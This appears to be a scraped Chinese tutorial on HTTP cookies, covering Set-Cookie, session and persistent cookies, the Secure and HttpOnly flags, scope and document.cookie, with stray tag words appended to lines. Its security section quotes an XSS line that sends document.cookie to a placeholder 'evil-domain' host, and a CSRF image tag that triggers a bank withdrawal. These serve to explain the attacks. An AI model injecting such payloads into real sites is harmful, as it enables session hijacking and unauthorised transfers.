因爲http協議的無狀態特性致使現代網絡使用cookie成爲必然。php
Cookie主要用於如下三個方面:跨域
在沒有更多的瀏覽器本地存儲方案以前,cookie一直做爲瀏覽器本地存儲使用,存儲大量的本地數據。這會致使每次請求都攜帶大量沒必要要的cookie信息,帶來額外的性能開銷。隨着HTML5的推廣,新的存儲方案Web storage API已經逐漸取代了Cookie的存儲功能,cookie利用其能夠隨請求自動攜帶的特性能夠專心彌補http的無狀態問題。就像首都北京不斷的釋放本身的非首都功能同樣。瀏覽器
當服務器收到HTTP請求時,服務器能夠在響應頭裏面添加一個Set-Cookie選項。瀏覽器收到響應後一般會保存下Cookie,以後對該服務器每一次請求中都經過Cookie請求頭部將Cookie信息發送給服務器。另外,Cookie的過時時間、域、路徑、有效期、適用站點均可以根據須要來指定。安全
Set-Cookie響應頭部和Cookie請求頭部bash
服務器使用Set-Cookie響應頭部向用戶代理(通常是瀏覽器)發送Cookie信息。一個簡單的Cookie可能像這樣: Set-Cookie: <cookie名>=<cookie值>
服務器
會話期Cookiecookie
會話期Cookie是最簡單的Cookie:瀏覽器關閉以後它會被自動刪除,也就是說它僅在會話期內有效。 Set-Cookie: id=a3fWa;
網絡
持久性Cookiedom
和關閉瀏覽器便失效的會話期Cookie不一樣,持久性Cookie能夠指定一個特定的過時時間(Expires)或有效期(Max-Age)。 Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;
性能
Cookie的Secure 和HttpOnly 標記
標記爲 Secure 的Cookie只應經過被HTTPS協議加密過的請求發送給服務端。但即使設置了 Secure 標記,敏感信息也不該該經過Cookie傳輸,由於Cookie有其固有的不安全性,Secure 標記也沒法提供確實的安全保障。從 Chrome 52 和 Firefox 52 開始,不安全的站點(http:)沒法使用Cookie的 Secure 標記。
爲避免跨域腳本 (XSS) 攻擊,經過JavaScript的 Document.cookie API沒法訪問帶有 HttpOnly 標記的Cookie,它們只應該發送給服務端。若是包含服務端 Session 信息的 Cookie 不想被客戶端 JavaScript 腳本調用,那麼就應該爲其設置 HttpOnly 標記。
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly
Cookie的做用域
Domain 和 Path 標識定義了Cookie的做用域:即Cookie應該發送給哪些URL。
Domain 標識指定了哪些主機能夠接受Cookie。若是不指定,默認爲當前文檔的主機(不包含子域名)。若是指定了Domain,則通常包含子域名。
例如,若是設置 Domain=mozilla.org,則Cookie也包含在子域名中(如developer.mozilla.org)。
Path 標識指定了主機下的哪些路徑能夠接受Cookie(該URL路徑必須存在於請求URL中)。以字符 %x2F ("/") 做爲路徑分隔符,子路徑也會被匹配。
例如,設置 Path=/docs,則如下地址都會匹配:
JavaScript經過Document.cookies訪問Cookie 經過Document.cookie屬性可建立新的Cookie,也可經過該屬性訪問非HttpOnly標記的Cookie。
document.cookie = "yummy_cookie=choco";
document.cookie = "tasty_cookie=strawberry";
console.log(document.cookie);
// logs "yummy_cookie=choco; tasty_cookie=strawberry"
複製代碼
會話劫持和XSS 在Web應用中,Cookie經常使用來標記用戶或受權會話。所以,若是Web應用的Cookie被竊取,可能致使受權用戶的會話受到攻擊。經常使用的竊取Cookie的方法有利用社會工程學攻擊和利用應用程序漏洞進行XSS攻擊。 (new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
跨站請求僞造(CSRF) 好比在不安全聊天室或論壇上的一張圖片,它其實是一個給你銀行服務器發送提現的請求: <img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">